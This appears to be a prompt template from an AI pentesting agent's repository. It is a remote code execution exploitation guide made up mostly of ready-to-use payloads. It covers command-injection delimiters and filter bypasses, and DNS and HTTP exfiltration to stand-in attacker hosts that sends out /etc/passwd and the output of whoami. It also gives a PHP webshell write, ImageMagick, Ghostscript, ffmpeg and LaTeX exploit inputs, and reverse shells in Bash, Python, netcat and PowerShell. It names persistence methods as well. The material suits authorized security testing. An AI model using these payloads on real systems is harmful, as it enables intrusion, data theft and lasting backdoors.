mirror of
https://github.com/usestrix/strix.git
synced 2026-08-16 09:26:39 +02:00
223 lines
5.7 KiB
Django/Jinja
223 lines
5.7 KiB
Django/Jinja
<rce_vulnerability_guide>
|
|
<title>REMOTE CODE EXECUTION (RCE) - MASTER EXPLOITATION</title>
|
|
|
|
<critical>RCE is the holy grail - complete system compromise. Modern RCE requires sophisticated bypass techniques.</critical>
|
|
|
|
<common_injection_contexts>
|
|
- System commands: ping, nslookup, traceroute, whois
|
|
- File operations: upload, download, convert, resize
|
|
- PDF generators: wkhtmltopdf, phantomjs
|
|
- Image processors: ImageMagick, GraphicsMagick
|
|
- Media converters: ffmpeg, sox
|
|
- Archive handlers: tar, zip, 7z
|
|
- Version control: git, svn operations
|
|
- LDAP queries
|
|
- Database backup/restore
|
|
- Email sending functions
|
|
</common_injection_contexts>
|
|
|
|
<detection_methods>
|
|
<time_based>
|
|
- Linux/Unix: ;sleep 10 # | sleep 10 # `sleep 10` $(sleep 10)
|
|
- Windows: & ping -n 10 127.0.0.1 & || ping -n 10 127.0.0.1 ||
|
|
- PowerShell: ;Start-Sleep -s 10 #
|
|
</time_based>
|
|
|
|
<dns_oob>
|
|
- nslookup $(whoami).attacker.com
|
|
- ping $(hostname).attacker.com
|
|
- curl http://$(cat /etc/passwd | base64).attacker.com
|
|
</dns_oob>
|
|
|
|
<output_based>
|
|
- Direct: ;cat /etc/passwd
|
|
- Encoded: ;cat /etc/passwd | base64
|
|
- Hex: ;xxd -p /etc/passwd
|
|
</output_based>
|
|
</detection_methods>
|
|
|
|
<command_injection_vectors>
|
|
<basic_payloads>
|
|
; id
|
|
| id
|
|
|| id
|
|
& id
|
|
&& id
|
|
`id`
|
|
$(id)
|
|
${IFS}id
|
|
</basic_payloads>
|
|
|
|
<bypass_techniques>
|
|
- Space bypass: ${IFS}, $IFS$9, <, %09 (tab)
|
|
- Blacklist bypass: w'h'o'a'm'i, w"h"o"a"m"i
|
|
- Command substitution: $(a=c;b=at;$a$b /etc/passwd)
|
|
- Encoding: echo 'aWQ=' | base64 -d | sh
|
|
- Case variation: WhOaMi (Windows)
|
|
</bypass_techniques>
|
|
</command_injection_vectors>
|
|
|
|
<language_specific_rce>
|
|
<php>
|
|
- eval($_GET['cmd'])
|
|
- system(), exec(), shell_exec(), passthru()
|
|
- preg_replace with /e modifier
|
|
- assert() with string input
|
|
- unserialize() exploitation
|
|
</php>
|
|
|
|
<python>
|
|
- eval(), exec()
|
|
- subprocess.call(shell=True)
|
|
- os.system()
|
|
- pickle deserialization
|
|
- yaml.load()
|
|
</python>
|
|
|
|
<java>
|
|
- Runtime.getRuntime().exec()
|
|
- ProcessBuilder
|
|
- ScriptEngine eval
|
|
- JNDI injection
|
|
- Expression Language injection
|
|
</java>
|
|
|
|
<nodejs>
|
|
- eval()
|
|
- child_process.exec()
|
|
- vm.runInContext()
|
|
- require() pollution
|
|
</nodejs>
|
|
</language_specific_rce>
|
|
|
|
<advanced_exploitation>
|
|
<polyglot_payloads>
|
|
Works in multiple contexts:
|
|
;id;#' |id| #" |id| #
|
|
${{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}
|
|
</polyglot_payloads>
|
|
|
|
<blind_rce>
|
|
- DNS exfiltration: $(whoami).evil.com
|
|
- HTTP callbacks: curl evil.com/$(id)
|
|
- Time delays for boolean extraction
|
|
- Write to web root: echo '<?php system($_GET["cmd"]); ?>' > /var/www/shell.php
|
|
</blind_rce>
|
|
|
|
<chained_exploitation>
|
|
1. Command injection → Write webshell
|
|
2. File upload → LFI → RCE
|
|
3. XXE → SSRF → internal RCE
|
|
4. SQLi → INTO OUTFILE → RCE
|
|
</chained_exploitation>
|
|
</advanced_exploitation>
|
|
|
|
<specific_contexts>
|
|
<imagemagick>
|
|
push graphic-context
|
|
viewbox 0 0 640 480
|
|
fill 'url(https://evil.com/image.jpg"|id > /tmp/output")'
|
|
pop graphic-context
|
|
</imagemagick>
|
|
|
|
<ghostscript>
|
|
%!PS
|
|
/outfile (%pipe%id) (w) file def
|
|
</ghostscript>
|
|
|
|
<ffmpeg>
|
|
#EXTM3U
|
|
#EXT-X-TARGETDURATION:1
|
|
#EXTINF:1.0,
|
|
concat:|file:///etc/passwd
|
|
</ffmpeg>
|
|
|
|
<latex>
|
|
\immediate\write18{id > /tmp/pwn}
|
|
\input{|"cat /etc/passwd"}
|
|
</latex>
|
|
</specific_contexts>
|
|
|
|
<container_escapes>
|
|
<docker>
|
|
- Privileged containers: mount host filesystem
|
|
- Docker.sock exposure
|
|
- Kernel exploits
|
|
- /proc/self/exe overwrite
|
|
</docker>
|
|
|
|
<kubernetes>
|
|
- Service account tokens
|
|
- Kubelet API access
|
|
- Container breakout to node
|
|
</kubernetes>
|
|
</container_escapes>
|
|
|
|
<waf_bypasses>
|
|
- Unicode normalization
|
|
- Double URL encoding
|
|
- Case variation mixing
|
|
- Null bytes: %00
|
|
- Comments: /**/i/**/d
|
|
- Alternative commands: hostname vs uname -n
|
|
- Path traversal: /usr/bin/id vs id
|
|
</waf_bypasses>
|
|
|
|
<post_exploitation>
|
|
<reverse_shells>
|
|
Bash: bash -i >& /dev/tcp/attacker/4444 0>&1
|
|
Python: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
|
|
Netcat: nc -e /bin/sh attacker 4444
|
|
PowerShell: $client = New-Object System.Net.Sockets.TCPClient("attacker",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
|
|
</reverse_shells>
|
|
|
|
<persistence>
|
|
- Cron jobs
|
|
- SSH keys
|
|
- Web shells
|
|
- Systemd services
|
|
</persistence>
|
|
</post_exploitation>
|
|
|
|
<validation>
|
|
To confirm RCE:
|
|
1. Execute unique command (id, hostname)
|
|
2. Demonstrate file system access
|
|
3. Show command output retrieval
|
|
4. Achieve reverse shell
|
|
5. Prove consistent execution
|
|
</validation>
|
|
|
|
<false_positives>
|
|
NOT RCE if:
|
|
- Only crashes application
|
|
- Limited to specific commands
|
|
- Sandboxed/containerized properly
|
|
- No actual command execution
|
|
- Output not retrievable
|
|
</false_positives>
|
|
|
|
<impact>
|
|
- Complete system compromise
|
|
- Data exfiltration
|
|
- Lateral movement
|
|
- Backdoor installation
|
|
- Service disruption
|
|
</impact>
|
|
|
|
<pro_tips>
|
|
1. Try all delimiters: ; | || & &&
|
|
2. Test both Unix and Windows commands
|
|
3. Use time-based for blind confirmation
|
|
4. Chain with other vulnerabilities
|
|
5. Check sudo permissions post-exploit
|
|
6. Look for SUID binaries
|
|
7. Test command substitution variants
|
|
8. Monitor DNS for blind RCE
|
|
9. Try polyglot payloads first
|
|
10. Document full exploitation path
|
|
</pro_tips>
|
|
|
|
<remember>Modern RCE often requires chaining vulnerabilities and bypassing filters. Focus on blind techniques, WAF bypasses, and achieving stable shells. Always test in the specific context - ImageMagick RCE differs from command injection.</remember>
|
|
</rce_vulnerability_guide>
|